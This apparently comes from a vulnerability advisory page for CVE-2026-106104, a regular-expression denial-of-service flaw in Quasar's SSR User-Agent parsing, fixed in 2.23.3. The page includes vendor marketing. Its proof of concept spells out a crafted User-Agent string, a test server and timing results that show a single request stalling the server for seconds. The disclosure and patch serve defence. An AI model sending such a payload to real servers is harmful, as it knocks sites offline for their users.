CVE-2026-106104

CVE-2026-106104 is a high-severity inefficient regular expression (ReDoS) vulnerability in quasar (npm), affecting versions <= 2.23.2. It is fixed in 2.23.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.

Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded .* scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.

Details

Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):

Platform.parseSSR = ssrContext => {
  const ua =
    ssrContext.req.headers['user-agent'] ||
    ssrContext.req.headers['User-Agent'] ||
    ''

  return { ...client, userAgent: ua, is: getPlatform(ua) }
}

getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:

/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent)

([\w.]+) is greedy and unbounded, and it is followed by two unbounded .* scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first .* lands on" against "how far the second .* searches for safari". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.

Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:

UA   3998 B  ->      554 ms
UA   7998 B  ->     4368 ms      fits nginx default large_client_header_buffers 8k
UA  15998 B  ->    34995 ms      fits Node.js default --max-http-header-size 16k

A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.

Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.

PoC

The vulnerable pattern ships in the published package. From node_modules/quasar/dist/quasar.server.prod.js of [email protected]:

function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||...
  ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||...
I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;
               return{...F,userAgent:t,is:P(t)}};

Build the header:

const k = 3200                       // filler that maximises the greedy capture
const m = 479                        // "version/" tokens for the first .* to land on
const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m)   // 7998 bytes

Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:

import http from 'node:http'
import { Platform } from 'quasar'          // resolves to dist/quasar.server.prod.js

http.createServer((req, res) => {
  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does
  res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`)
}).listen(3100, '127.0.0.1')

Results of driving that server with the 7998-byte header:

[1] BASELINE - normal browser UA
  benign UA, GET /                       status=200        13 ms
  benign UA, GET / (2nd)                 status=200         1 ms

[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length
  same-size benign UA                    status=200         2 ms

[3] POSITIVE - crafted User-Agent
  malicious UA, GET /                    status=200      4355 ms

[4] POSITIVE - crafted UA against a NON-EXISTENT route
  malicious UA, GET /404path             status=200      4319 ms

[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later
  attacker (malicious UA)                status=200      4329 ms
  VICTIM (normal browser, benign UA)     status=200      4208 ms

[6] SUSTAINED - 5 attacker requests in flight, victim loads the site
  VICTIM during 5-request flood          status=200     21646 ms

Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.

Negative control on the library itself. One line changed in the installed node_modules/quasar/dist/quasar.server.prod.js:

-  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};
+  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};

Re-running the identical attack against the patched build:

[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms
[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms
[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms
[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms

Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.

The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:

const ssrContext = { req, res }
const app = createSSRApp(RootComponent)
app.use(Quasar, {}, ssrContext)
const html = await renderToString(app, ssrContext)
[3] malicious UA, GET /                  status=200      4354 ms
[5] VICTIM (normal browser, benign UA)   status=200      4269 ms
[6] VICTIM during 5-request flood        status=200     21872 ms
[2] same-size benign UA (7998 B)         status=200         2 ms

Impact

Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.

Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.

Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

Affected versions

quasar (<= 2.23.2)

Security releases

quasar → 2.23.3 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade quasar to 2.23.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-106104? CVE-2026-106104 is a high-severity inefficient regular expression (ReDoS) vulnerability in quasar (npm), affecting versions <= 2.23.2. It is fixed in 2.23.3. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
  2. Which versions of quasar are affected by CVE-2026-106104? quasar (npm) versions <= 2.23.2 is affected.
  3. Is there a fix for CVE-2026-106104? Yes. CVE-2026-106104 is fixed in 2.23.3. Upgrade to this version or later.
  4. Is CVE-2026-106104 exploitable, and should I be worried? Whether CVE-2026-106104 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-106104 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-106104? Upgrade quasar to 2.23.3 or later.

Other vulnerabilities in quasar

Stop the waste.
Protect your environment with Kodem.